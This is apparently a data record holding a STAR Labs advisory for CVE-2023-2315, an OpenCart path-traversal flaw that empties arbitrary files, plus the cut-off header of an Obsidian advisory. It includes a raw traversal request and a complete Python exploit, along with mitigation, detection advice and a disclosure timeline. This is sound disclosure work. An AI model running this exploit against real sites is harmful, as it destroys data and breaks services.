class=\"p\">)</span><span class=\"nv\">$this</span><span class=\"o\">-&gt;</span><span class=\"na\">request</span><span class=\"o\">-&gt;</span><span class=\"na\">get</span><span class=\"p\">[</span><span class=\"s1\">&#39;filename&#39;</span><span class=\"p\">];</span> <span class=\"c1\">// [1]\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"></span>    <span class=\"p\">}</span> <span class=\"k\">else</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nv\">$filename</span> <span class=\"o\">=</span> <span class=\"s1\">&#39;&#39;</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"nv\">$json</span> <span class=\"o\">=</span> <span class=\"p\">[];</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">if</span> <span class=\"p\">(</span><span class=\"o\">!</span><span class=\"nv\">$this</span><span class=\"o\">-&gt;</span><span class=\"na\">user</span><span class=\"o\">-&gt;</span><span class=\"na\">hasPermission</span><span class=\"p\">(</span><span class=\"s1\">&#39;modify&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;tool/log&#39;</span><span class=\"p\">))</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nv\">$json</span><span class=\"p\">[</span><span class=\"s1\">&#39;error&#39;</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"nv\">$this</span><span class=\"o\">-&gt;</span><span class=\"na\">language</span><span class=\"o\">-&gt;</span><span class=\"na\">get</span><span class=\"p\">(</span><span class=\"s1\">&#39;error_permission&#39;</span><span class=\"p\">);</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"c1\">// DIR_LOGS = /system/storage/logs/\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"></span>    <span class=\"nv\">$file</span> <span class=\"o\">=</span> <span class=\"nx\">DIR_LOGS</span> <span class=\"o\">.</span> <span class=\"nv\">$filename</span><span class=\"p\">;</span> <span class=\"c1\">// [2]\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"></span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">if</span> <span class=\"p\">(</span><span class=\"o\">!</span><span class=\"nx\">is_file</span><span class=\"p\">(</span><span class=\"nv\">$file</span><span class=\"p\">))</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nv\">$json</span><span class=\"p\">[</span><span class=\"s1\">&#39;error&#39;</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"nx\">sprintf</span><span class=\"p\">(</span><span class=\"nv\">$this</span><span class=\"o\">-&gt;</span><span class=\"na\">language</span><span class=\"o\">-&gt;</span><span class=\"na\">get</span><span class=\"p\">(</span><span class=\"s1\">&#39;error_file&#39;</span><span class=\"p\">),</span> <span class=\"nv\">$filename</span><span class=\"p\">);</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">if</span> <span class=\"p\">(</span><span class=\"o\">!</span><span class=\"nv\">$json</span><span class=\"p\">)</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nv\">$handle</span> <span class=\"o\">=</span> <span class=\"nx\">fopen</span><span class=\"p\">(</span><span class=\"nv\">$file</span><span class=\"p\">,</span> <span class=\"s1\">&#39;w+&#39;</span><span class=\"p\">);</span> <span class=\"c1\">// [3]\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"></span>        <span class=\"nx\">fclose</span><span class=\"p\">(</span><span class=\"nv\">$handle</span><span class=\"p\">);</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nv\">$json</span><span class=\"p\">[</span><span class=\"s1\">&#39;success&#39;</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"nv\">$this</span><span class=\"o\">-&gt;</span><span class=\"na\">language</span><span class=\"o\">-&gt;</span><span class=\"na\">get</span><span class=\"p\">(</span><span class=\"s1\">&#39;text_success&#39;</span><span class=\"p\">);</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"c1\">// ...\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"></span><span class=\"p\">}</span>\r\n</span></span></code></pre></div><p>At <code>[1]</code>, the filename is obtained from the incoming HTTP GET request and stored into the <code>$filename</code> PHP variable without any form of input sanitisation. At <code>[2]</code>, the file name is appended to the back of the storage log path <code>/system/storage/logs/</code> and stored into another variable <code>$file</code>. At <code>[3]</code>, the <code>$file</code> variable is used in a <code>fopen()</code> function call with the mode set to <code>w+</code>. This means that the existing file will have its content emptied. Since a file existence check occurs before this, it is not possible to create files that do not already exist.</p>\r\n<p>In a normal scenario, the file <code>/system/storage/logs/error.log</code> will be emptied after the GET request is sent. However, since there is a lack of input sanitisation, it is possible for the <code>filename</code> query parameter to contain any number of path traversal sequence (<code>../</code>) to traverse out of the intended directory and point to other files instead. This results in other files being emptied and permanently affecting the website&rsquo;s functionality.</p>\r\n<h2 id=\"exploit-conditions\">Exploit Conditions:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#exploit-conditions\">#</a></h2>\r\n<p>This vulnerability can be exploited when the attacker has a set of valid credentials to the backend dashboard with <code>access</code> and <code>modify</code> permissions on <code>tool/log</code>.</p>\r\n<h2 id=\"proof-of-concept\">Proof-of-Concept:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#proof-of-concept\">#</a></h2>\r\n<p>We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that exploits the Path Traversal vulnerability.</p>\r\n<p>The vulnerability can be exploited by sending a GET request to <code>https://TARGET_HOST/admin/index.php?route=tool/log.clear&amp;user_token=&lt;USER_TOKEN&gt;&amp;filename=../../../../../../tmp/PoC.txt</code>, for example:</p>\r\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-http\" data-lang=\"http\"><span class=\"line\"><span class=\"cl\"><span class=\"nf\">GET</span> <span class=\"nn\">/admin/index.php?route=tool/log.clear&amp;filename=../../../../../../tmp/PoC.txt&amp;user_token=4d6d604d8862798e96fe91846f28a36f</span> <span class=\"kr\">HTTP</span><span class=\"o\">/</span><span class=\"m\">1.1</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Host</span><span class=\"o\">:</span> <span class=\"l\">TARGET_HOST</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Cookie</span><span class=\"o\">:</span> <span class=\"l\">OCSESSID=4f09deedf4a82f9c5b4bee9ec3;</span>\r\n</span></span></code></pre></div><p>Before running the exploit below, please ensure that you create a non-empty file <code>/tmp/PoC.txt</code> and that it has write permissions for the web user:</p>\r\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-bash\" data-lang=\"bash\"><span class=\"line\"><span class=\"cl\">$ <span class=\"nb\">echo</span> <span class=\"s2\">&#34;Hello&#34;</span> &gt; /tmp/PoC.txt\r\n</span></span><span class=\"line\"><span class=\"cl\">$ chmod <span class=\"m\">777</span> /tmp/PoC.txt \r\n</span></span><span class=\"line\"><span class=\"cl\">$ ls -la /tmp/PoC.txt\r\n</span></span><span class=\"line\"><span class=\"cl\">-rwxrwxrwx <span class=\"m\">1</span> root root <span class=\"m\">6</span> Apr <span class=\"m\">26</span> 09:36 /tmp/PoC.txt\r\n</span></span></code></pre></div><p>Then, run the exploit below:</p>\r\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-python\" data-lang=\"python\"><span class=\"line\"><span class=\"cl\"><span class=\"c1\"># Opencart v4.0.0.0 - v4.0.2.2 path traversal arbitrary file emptying (CVE-2023-2315)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"># Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\">#!/usr/bin/env python3</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"kn\">import</span> <span class=\"nn\">re</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"kn\">import</span> <span class=\"nn\">requests</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"kn\">import</span> <span class=\"nn\">sys</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">requests</span><span class=\"o\">.</span><span class=\"n\">packages</span><span class=\"o\">.</span><span class=\"n\">urllib3</span><span class=\"o\">.</span><span class=\"n\">disable_warnings</span><span class=\"p\">()</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">s</span> <span class=\"o\">=</span> <span class=\"n\">requests</span><span class=\"o\">.</span><span class=\"n\">Session</span><span class=\"p\">()</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"k\">def</span> <span class=\"nf\">check_args</span><span class=\"p\">():</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">global</span> <span class=\"n\">target</span><span class=\"p\">,</span> <span class=\"n\">username</span><span class=\"p\">,</span> <span class=\"n\">password</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&#34;</span><span class=\"se\">\\n</span><span class=\"s2\">======= Opencart v4.0.0.0 - v4.0.2.2 path traversal arbitrary file emptying (CVE-2023-2315) =======&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&#34;Please ensure that a file /tmp/PoC.txt with write permissions has been created on the target server with non-empty content!</span><span class=\"se\">\\n</span><span class=\"s2\">&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">if</span> <span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">argv</span><span class=\"p\">)</span> <span class=\"o\">!=</span> <span class=\"mi\">4</span><span class=\"p\">:</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&#34;[!] Please enter the required arguments like so: python3 </span><span class=\"si\">{}</span><span class=\"s2\"> http://TARGET_URL/ADMIN_PATH/ USERNAME PASSWORD&#34;</span><span class=\"o\">.</span><span class=\"n\">format</span><span class=\"p\">(</span><span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">argv</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">]))</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">exit</span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">target</span> <span class=\"o\">=</span> <span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">argv</span><span class=\"p\">[</span><span class=\"mi\">1</span><span class=\"p\">]</span><span class=\"o\">.</span><span class=\"n\">strip</span><span class=\"p\">(</span><span class=\"s2\">&#34;/&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">username</span> <span class=\"o\">=</span> <span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">argv</span><span class=\"p\">[</span><span class=\"mi\">2</span><span class=\"p\">]</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">password</span> <span class=\"o\">=</span> <span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">argv</span><span class=\"p\">[</span><span class=\"mi\">3</span><span class=\"p\">]</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"k\">def</span> <span class=\"nf\">authenticate</span><span class=\"p\">():</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">global</span> <span class=\"n\">user_token</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&#34;[+] Attempting to authenticate...&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"c1\"># Get login_token</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">path</span> <span class=\"o\">=</span> <span class=\"sa\">f</span><span class=\"s2\">&#34;</span><span class=\"si\">{</span><span class=\"n\">target</span><span class=\"si\">}</span><span class=\"s2\">/index.php&#34;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">res</span> <span class=\"o\">=</span> <span class=\"n\">s</span><span class=\"o\">.</span><span class=\"n\">get</span><span class=\"p\">(</span><span class=\"n\">path</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">login_token</span> <span class=\"o\">=</span> <span class=\"n\">re</span><span class=\"o\">.</span><span class=\"n\">findall</span><span class=\"p\">(</span><span class=\"s2\">&#34;login_token=(.+)</span><span class=\"se\">\\&#34;</span><span class=\"s2\"> method&#34;</span><span class=\"p\">,</span> <span class=\"n\">res</span><span class=\"o\">.</span><span class=\"n\">text</span><span class=\"p\">)[</span><span class=\"mi\">0</span><span class=\"p\">]</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    \r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"c1\"># Perform login and get user_token</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">data</span> <span class=\"o\">=</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;username&#34;</span><span class=\"p\">:</span> <span class=\"n\">username</span><span class=\"p\">,</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;password&#34;</span><span class=\"p\">:</span> <span class=\"n\">password</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">path</span> <span class=\"o\">=</span> <span class=\"sa\">f</span><span class=\"s2\">&#34;</span><span class=\"si\">{</span><span class=\"n\">target</span><span class=\"si\">}</span><span class=\"s2\">/index.php?route=common/login.login&amp;login_token=</span><span class=\"si\">{</span><span class=\"n\">login_token</span><span class=\"si\">}</span><span class=\"s2\">&#34;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">res</span> <span class=\"o\">=</span> <span class=\"n\">s</span><span class=\"o\">.</span><span class=\"n\">post</span><span class=\"p\">(</span><span class=\"n\">path</span><span class=\"p\">,</span> <span class=\"n\">data</span><span class=\"o\">=</span><span class=\"n\">data</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">user_token</span> <span class=\"o\">=</span> <span class=\"n\">re</span><span class=\"o\">.</span><span class=\"n\">findall</span><span class=\"p\">(</span><span class=\"s2\">&#34;user_token=(.+)</span><span class=\"se\">\\&#34;</span><span class=\"s2\">&#34;</span><span class=\"p\">,</span> <span class=\"n\">res</span><span class=\"o\">.</span><span class=\"n\">text</span><span class=\"p\">)[</span><span class=\"mi\">0</span><span class=\"p\">]</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">if</span> <span class=\"ow\">not</span> <span class=\"n\">user_token</span><span class=\"p\">:</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&#34;[!] Failed to authenticate! Are the credentials correct?&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">exit</span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&#34;[+] Authenticated successfully.&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"k\">def</span> <span class=\"nf\">delete</span><span class=\"p\">():</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&#34;[+] Attempting to empty /tmp/PoC.txt...&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"c1\"># Empty /tmp/PoC.txt</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">path</span> <span class=\"o\">=</span> <span class=\"sa\">f</span><span class=\"s2\">&#34;</span><span class=\"si\">{</span><span class=\"n\">target</span><span class=\"si\">}</span><span class=\"s2\">/index.php?route=tool/log.clear&amp;filename=../../../../../../tmp/PoC.txt&amp;user_token=</span><span class=\"si\">{</span><span class=\"n\">user_token</span><span class=\"si\">}</span><span class=\"s2\">&#34;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">res</span> <span class=\"o\">=</span> <span class=\"n\">s</span><span class=\"o\">.</span><span class=\"n\">get</span><span class=\"p\">(</span><span class=\"n\">path</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"sa\">f</span><span class=\"s2\">&#34;[+] Output: </span><span class=\"si\">{</span><span class=\"n\">res</span><span class=\"o\">.</span><span class=\"n\">text</span><span class=\"si\">}</span><span class=\"s2\">&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"k\">def</span> <span class=\"nf\">main</span><span class=\"p\">():</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">check_args</span><span class=\"p\">()</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">authenticate</span><span class=\"p\">()</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">delete</span><span class=\"p\">()</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"k\">if</span> <span class=\"vm\">__name__</span> <span class=\"o\">==</span> <span class=\"s2\">&#34;__main__&#34;</span><span class=\"p\">:</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">main</span><span class=\"p\">()</span>\r\n</span></span></code></pre></div><p><img loading=\"lazy\" src=\"/advisories/23/images/CVE-2023-2315_01.Exploit.png\" alt=\"\"  />\r\n</p>\r\n<h2 id=\"suggested-mitigations\">Suggested Mitigations:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#suggested-mitigations\">#</a></h2>\r\n<p>The patch <a href=\"https://github.com/opencart/opencart/commit/0a8dd91e385f70e42795380009fd644224c1bc97\">0a8dd91</a> addresses this vulnerability. It is recommended to apply this commit to your installation of OpenCart.</p>\r\n<h2 id=\"detection-guidance\">Detection Guidance:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#detection-guidance\">#</a></h2>\r\n<p>It is possible to detect the exploitation of this vulnerability by checking the server&rsquo;s access logs for all GET requests made to <code>/admin/index.php?route=tool/log.clear</code>, and filtering for requests that contain <code>../</code> in the <code>filename</code> query parameter.</p>\r\n<h2 id=\"credits\">Credits:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#credits\">#</a></h2>\r\n<p>Poh Jia Hao (<a href=\"https://twitter.com/Chocologicall\">@Chocologicall</a>) of STAR Labs SG Pte. Ltd. (<a href=\"https://twitter.com/starlabs_sg\">@starlabs_sg</a>)</p>\r\n<h2 id=\"timeline\">Timeline:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#timeline\">#</a></h2>\r\n<ul>\r\n<li>2022-09-06 Followed the security bug reporting <a href=\"https://github.com/opencart/opencart#reporting-a-bug\">instructions</a> and created an OpenCart forum account to try to report to the administrators, but new accounts are unable to send private messages.</li>\r\n<li>2022-09-11 Email sent to <code><a href=\"/cdn-cgi/l/email-protection\" class=\"__cf_email__\" data-cfemail=\"691a1c1919061b1d2906190c070a081b1d470a0604\">[email&#160;protected]</a></code> in an attempt to establish a proper communication channel with the project owner/maintainers.</li>\r\n<li>2022-09-12 Support agent replied and suggested to describe the issue in a public channel via their GitHub Issues tracker, to which we reminded that it is a security bug on the latest version. Support agent then requested to send them the report where they will forward it to the developers. We instead requested for the public key of the developers so that the report can be encrypted to prevent information leakage. Support agent replied &ldquo;they do not have such&rdquo;.</li>\r\n<li>2022-09-14 Tried the &ldquo;Contact Us&rdquo; form on OpenCart&rsquo;s website. Ended up with a second support ticket being opened.</li>\r\n<li>2022-09-15 Opened a GitHub Issue (<a href=\"https://github.com/opencart/opencart/issues/12684\">#12684</a>) in a last resort to establish a proper communication channel with the developers. Issue closed immediately by the project owner, and <strong>marked as spam</strong>.</li>\r\n<li>2022-09-15 Email sent directly to <code><a href=\"/cdn-cgi/l/email-protection\" class=\"__cf_email__\" data-cfemail=\"502735323d3123243522103f20353e333122247e333f3d\">[email&#160;protected]</a></code> as it is used for GitHub commits.</li>\r\n<li>2022-09-15 Project owner replied and we sent the bug report over.</li>\r\n<li>2022-09-15 Bug fixed in commit <a href=\"https://github.com/opencart/opencart/commit/0a8dd91e385f70e42795380009fd644224c1bc97\">0a8dd91</a></li>\r\n<li>2023-09-18 Public Release</li>\r\n</ul>\r\n\r\n\r\n  </div>\r\n\r\n  <footer class=\"post-footer\">\r\n    <ul class=\"post-tags\">\r\n    </ul>\r\n<nav class=\"paginav\">\r\n  <a class=\"prev\" href=\"https://starlabs.sg/advisories/23/23-30591/\">\r\n    <span class=\"title\">« Prev</span>\r\n    <br>\r\n    <span>(CVE-2023-30591) NodeBB Pre-Authentication Denial-of-Service</span>\r\n  </a>\r\n  <a class=\"next\" href=\"https://starlabs.sg/advisories/23/23-32523/\">\r\n    <span class=\"title\">Next »</span>\r\n    <br>\r\n    <span>(CVE-2023-32523) Trend Micro Mobile Security (Enterprise) 9.8 SP5 (&lt;= Critical Patch 3) Unauthenticated RCE</span>\r\n  </a>\r\n</nav>\r\n\r\n  </footer>\r\n</article>\r\n    </main>\r\n    \r\n<footer class=\"footer\">\r\n    <span>&copy; 2024 <a href=\"https://starlabs.sg/\">STAR Labs</a></span>\r\n    <span>\r\n        Powered by\r\n        <a href=\"https://gohugo.io/\" rel=\"noopener noreferrer\" target=\"_blank\">Hugo</a> &\r\n        <a href=\"https://git.io/hugopapermod\" rel=\"noopener\" target=\"_blank\">PaperMod</a>\r\n    </span>\r\n</footer>\r\n<a href=\"#top\" aria-label=\"go to top\" title=\"Go to Top (Alt + G)\" class=\"top-link\" id=\"top-link\" accesskey=\"g\">\r\n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 12 6\" fill=\"currentColor\">\r\n        <path d=\"M12 6H0l6-6z\" />\r\n    </svg>\r\n</a>\r\n\r\n<script data-cfasync=\"false\" src=\"/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js\"></script><script>\r\n    let menu = document.getElementById('menu')\r\n    if (menu) {\r\n        menu.scrollLeft = localStorage.getItem(\"menu-scroll-position\");\r\n        menu.onscroll = function () {\r\n            localStorage.setItem(\"menu-scroll-position\", menu.scrollLeft);\r\n        }\r\n    }\r\n\r\n    document.querySelectorAll('a[href^=\"#\"]').forEach(anchor => {\r\n        anchor.addEventListener(\"click\", function (e) {\r\n            e.preventDefault();\r\n            var id = this.getAttribute(\"href\").substr(1);\r\n            if (!window.matchMedia('(prefers-reduced-motion: reduce)').matches) {\r\n                document.querySelector(`[id='${decodeURIComponent(id)}']`).scrollIntoView({\r\n                    behavior: \"smooth\"\r\n                });\r\n            } else {\r\n                document.querySelector(`[id='${decodeURIComponent(id)}']`).scrollIntoView();\r\n            }\r\n            if (id === \"top\") {\r\n                history.replaceState(null, null, \" \");\r\n            } else {\r\n                history.pushState(null, null, `#${id}`);\r\n            }\r\n        });\r\n    });\r\n\r\n</script>\r\n<script>\r\n    var mybutton = document.getElementById(\"top-link\");\r\n    window.onscroll = function () {\r\n        if (document.body.scrollTop > 800 || document.documentElement.scrollTop > 800) {\r\n            mybutton.style.visibility = \"visible\";\r\n            mybutton.style.opacity = \"1\";\r\n        } else {\r\n            mybutton.style.visibility = \"hidden\";\r\n            mybutton.style.opacity = \"0\";\r\n        }\r\n    };\r\n\r\n</script>\r\n</body>\r\n\r\n</html>\r\n"
  },
  {
    "path": "task1_source_code/test_examples/203",
    "content": "\r\n<!DOCTYPE html>\r\n<html lang=\"en\" dir=\"auto\">\r\n\r\n<head><meta charset=\"utf-8\">\r\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\r\n<meta name=\"robots\" content=\"index, follow\">\r\n<title>(CVE-2023-2110) Obsidian Local File Disclosure | STAR Labs</title>\r\n<meta name=\"keywords\" content=\"\">\r\n<meta name=\"description\" content=\"Summary:    Product Obsidian     Vendor Obsidian   Severity High   Affected Versions Obsidian &lt; 1.2.8   Tested Versions Obsidian 1.1.16   CVE Identifier CVE-2023-2110   CVE Description Improper path handling in Obsidian desktop before 1.2.8 on Windows, Linux and macOS allows a crafted webpage to access local files and exfiltrate them to remote web servers via &ldquo;app://local/&lt;absolute-path&gt;&rdquo;. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian.\">\r\n<meta name=\"author\" content=\"Li Jiantao (@CurseRed)\">\r\n<link rel=\"canonical\" href=\"https://starlabs.sg/advisories/23/23-2110/\">\r\n<link crossorigin=\"anonymous\" href=\"/assets/css/stylesheet.min.ec8da366ca2fb647537ccb7a8f6fa5b4e9cd3c7a0d3171dd2d3baad1e49c8bfc.css\" integrity=\"sha256-7I2jZsovtkdTfMt6j2&#43;ltOnNPHoNMXHdLTuq0eSci/w=\" rel=\"preload stylesheet\" as=\"style\">\r\n<script defer crossorigin=\"anonymous\" src=\"/assets/js/highlight.min.2840b7fccd34145847db71a290569594bdbdb00047097f75d6495d162f5d7dff.js\" integrity=\"sha256-KEC3/M00FFhH23GikFaVlL29sABHCX911kldFi9dff8=\"\r\n    onload=\"hljs.initHighlightingOnLoad();\"></script>\r\n<link rel=\"icon\" href=\"https://starlabs.sg/logo-white.png\">\r\n<link rel=\"icon\" type=\"image/png\" sizes=\"16x16\" href=\"https://starlabs.sg/logo-white.png\">\r\n<link rel=\"icon\" type=\"image/png\" sizes=\"32x32\" href=\"https://starlabs.sg/logo-white.png\">\r\n<link rel=\"apple-touch-icon\" href=\"https://starlabs.sg/logo-white.png\">\r\n<link rel=\"mask-icon\" href=\"https://starlabs.sg/logo-white.png\">\r\n<meta name=\"theme-color\" content=\"#2e2e33\">\r\n<meta name=\"msapplication-TileColor\" content=\"#2e2e33\">\r\n<noscript>\r\n    <style>\r\n        #theme-toggle,\r\n        .top-link {\r\n            display: none;\r\n        }\r\n\r\n    </style>\r\n</noscript>\r\n<script async src=\"https://www.googletagmanager.com/gtag/js?id=G-0F9M1FRFWQ\"></script>\r\n<script>\r\nvar doNotTrack = false;\r\nif (!doNotTrack) {\r\n\twindow.dataLayer = window.dataLayer || [];\r\n\tfunction gtag(){dataLayer.push(arguments);}\r\n\tgtag('js', new Date());\r\n\tgtag('config', 'G-0F9M1FRFWQ', { 'anonymize_ip': false });\r\n}\r\n</script>\r\n<meta property=\"og:title\" content=\"(CVE-2023-2110) Obsidian Local File Disclosure\" />\r\n<meta property=\"og:description\" content=\"Summary:    Product Obsidian     Vendor Obsidian   Severity High   Affected Versions Obsidian &lt; 1.2.8   Tested Versions Obsidian 1.1.16   CVE Identifier CVE-2023-2110   CVE Description Improper path handling in Obsidian desktop before 1.2.8 on Windows, Linux and macOS allows a crafted webpage to access local files and exfiltrate them to remote web servers via &ldquo;app://local/&lt;absolute-path&gt;&rdquo;. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian.\" />\r\n<meta property=\"og:type\" content=\"article\" />\r\n<meta property=\"og:url\" content=\"https://starlabs.sg/advisories/23/23-2110/\" /><meta property=\"og:image\" content=\"https://starlabs.sg/logo-white.png\"/><meta property=\"article:section\" content=\"advisories\" />\r\n<meta property=\"article:published_time\" content=\"2023-08-19T00:00:00&#43;00:00\" />\r\n<meta 